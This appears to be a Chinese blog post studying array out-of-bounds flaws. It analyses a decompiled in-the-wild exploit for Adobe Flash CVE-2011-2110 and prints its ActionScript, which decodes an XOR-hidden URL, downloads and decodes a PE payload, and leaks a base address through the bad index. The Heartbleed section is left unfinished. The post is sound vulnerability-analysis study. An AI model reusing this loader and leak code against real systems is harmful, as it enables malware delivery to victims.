zoukankan      html  css  js  c++  java
  • 数组越界漏洞(参考<<漏洞战争>>)

    1.简介

    通过访问,写入到超出最大索引的地方导致被利用

    2.CVE-2011-2110-Adobe Flash Player 数组越界索引漏洞

    (1).将swf文件反编译后提取出来分析

    (2)分析源文件

    main函数中:

    var param:Object = root.loaderInfo.parameters;
    //获取并解析参数
    var t_url:ByteArray = this.hexToBin(param["info"]);
    i = 0;
    i = 0;
    while(i < t_url.length)
    {
    t_url[i] = t_url[i] ^ 122;
    i++;
    }
    t_url.uncompress();

    ......

    //下载文件
    loader = new URLLoader();
    loader.dataFormat = URLLoaderDataFormat.BINARY;
    loader.addEventListener(Event.COMPLETE,onLoadComplete);
    loader.load(new URLRequest(t_url.toString()));

    .......

    onLoadComplete = function(param1:Event):void
    {
    content = loader.data;
    i = 0;
    //解析获取到的数据,完了后是个恶意程序
    while(i < content.length)
    {
    content[i] = content[i] ^ 122;
    i++;
    }
    content.uncompress();
    content_len = content.length;
    var _loc2_:ByteArray = new ByteArray();
    code = _loc2_;
    _loc2_.position = 1024 * 1024;
    _loc2_.writeInt(2053274210);
    _loc2_.writeInt(2053339747);
    _loc2_.writeInt(2053405283);
    _loc2_.writeObject(_loc2_);
    //触发漏洞
    test();
    trace(_loc2_.length);
    };

    以上通过获取参数info, 解码后其实就是一个url. 然后通过该url下载一个文件,将文件中的内容解码后是个pe文件. 可以通过自己搭建环境测试

     (3)通过修改样本代码定位漏洞

    对于浏览器漏洞,可以通过修改样本代码使其本来是稳定利用变的不稳定,以便分析

    对于swf文件,可以反编译后修改关键值使ie加载后能发生异常并重新编译成swf文件, 以便分析

    例如,本次实验的代码:

    var _loc8_:uint = 0;
    var _loc2_:Number = new Number(parseFloat(String(rest[1073741838]))); //1073741838=0x4000000E,进行越界索引, 将其修改为其他值直到能发生异常,书上修改的是0x41414141
    var _loc3_:ByteArray = new ByteArray();
    _loc3_.position = 0;
    _loc3_.writeDouble(_loc2_);
    var _loc4_:uint = _loc3_[0] * 16777216 + _loc3_[1] * 65536 + _loc3_[2] * 256 + _loc3_[3];//信息泄露构成基址地址
    this.baseaddr = _loc4_;
    this.code.position = 0;

    这样再附加后就能很方便地分析了.

    CVE-2014-0160-OpenSSL TLS 数组越界访问漏洞(“心脏出血”漏洞)

    未完待续...............

  • 相关阅读:
    HDOJ 1846 Brave Game
    并查集模板
    HDU 2102 A计划
    POJ 1426 Find The Multiple
    POJ 3278 Catch That Cow
    POJ 1321 棋盘问题
    CF 999 C.Alphabetic Removals
    CF 999 B. Reversing Encryption
    string的基础用法
    51nod 1267 4个数和为0
  • 原文地址:https://www.cnblogs.com/freesec/p/6444537.html
Copyright © 2011-2022 走看看